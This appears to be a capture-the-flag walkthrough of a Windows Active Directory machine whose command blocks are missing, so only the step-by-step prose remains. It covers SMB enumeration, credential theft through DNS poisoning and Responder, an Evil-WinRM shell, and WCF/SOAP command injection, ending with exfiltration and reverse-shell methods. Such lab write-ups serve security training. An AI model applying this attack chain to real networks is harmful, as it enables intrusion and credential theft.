Start with a full TCP scan. -p- scans all 65535 ports — on Windows machines this is especially important because services often run on non-standard ports. --min-rate 5000 speeds things up. -sC and -sV fingerprint services and run default scripts.

Add the domain to /etc/hosts so tools can resolve it correctly:

Enumerate SMB with anonymous/guest access and RID brute-forcing to map out domain users. RID brute-forcing works because Windows assigns sequential RIDs (Relative Identifiers) to all domain accounts — we can enumerate them even without credentials:

Check for SMB shares accessible without credentials:

Connect to the Monitoring share and download everything. The recurse ON and prompt OFF flags let us bulk-download without confirming each file. The -N flag means no password (anonymous access).

Read the config file first — application config files are one of the highest-value targets in a pentest. They routinely contain database connection strings with credentials in plaintext:

Decompile the overwatch.exe binary to understand what the WCF service does. ilspycmd is a command-line .NET decompiler — .NET applications compile to intermediate language (IL) bytecode which can be fully reconstructed back to C# source. This is different from native binaries which are much harder to reverse:

Use the SQL credentials to connect to the SQL Server on port 6520 and explore what's accessible:

Try querying the linked server to trigger authentication:

Phase 1 — DNS poisoning to capture credentials. The attack plan: add a fake DNS A record for SQL07 pointing to our Kali machine, start Responder to capture authentication, then trigger the linked server connection from SQL. When the target SQL Server tries to connect to "SQL07" it will reach our Responder instance instead, and Responder will capture the credentials.

dnstool.py is part of the krbrelayx toolkit. It uses authenticated LDAP to add or modify DNS records in Active Directory. We're using sqlsvc's credentials (which we already have) to add the record:

Start Responder on our tun0 interface to capture the incoming authentication. Responder is a tool that answers various network protocols (LLMNR, NBT-NS, MSSQL, HTTP, SMB etc.) and captures credentials when clients try to authenticate against it:

Trigger the linked server connection from the SQL session — this causes the target SQL Server to connect to SQL07 (now our IP) and authenticate:

Responder captures the credentials immediately — and unusually, they arrive in cleartext rather than as an NTLMv2 hash:

Phase 2 — Shell via Evil-WinRM. WinRM (Windows Remote Management) was open on port 5985. Evil-WinRM is a tool that makes WinRM easy to use as a shell. Try the newly captured credentials:

Phase 3 — WCF/SOAP command injection. Now we exploit the KillProcess method we found during decompilation. The WCF service is running on localhost:8000 — accessible from our Evil-WinRM shell or via port forwarding. We craft a SOAP request manually using curl.

What is SOAP? SOAP (Simple Object Access Protocol) is an XML-based messaging format for web services. A SOAP request wraps the method call and parameters inside XML envelopes. WCF services expose their available methods via a WSDL (Web Services Description Language) document at ?wsdl.

First, enumerate the service to confirm the vulnerable method:

Test with a benign command first to confirm injection works. We route through Burp Suite (proxy) to see the request/response clearly and iterate quickly. The SOAPAction header must exactly match the service namespace — getting this wrong causes an ActionNotSupported error:

The response is empty because KillProcess doesn't return command output. The trick: use PowerShell's Write-Output or force an exception with throw — WCF services return exception messages to the client, so we can abuse the error channel to exfiltrate data:

The throw / Write-Output method reads the flag directly from the SOAP response. But for a full interactive shell as Administrator (useful for further post-exploitation), there are several alternatives.

Method 1 — Write flag to a readable file. Useful when the response channel doesn't return output:

Method 2 — HTTP exfiltration. Have the target send data to a listener on our machine — useful when you need binary data or large output:

Method 3 — Full PowerShell reverse shell. For a complete interactive Administrator session. Create and host a reverse shell script:

Method 4 — Burp Suite for easier iteration. Using the --proxy flag with curl routes the request through Burp. In Burp's Repeater tab (Ctrl+R) you can quickly modify payloads and see responses in a clean XML view — much easier than crafting curl commands by hand for each test: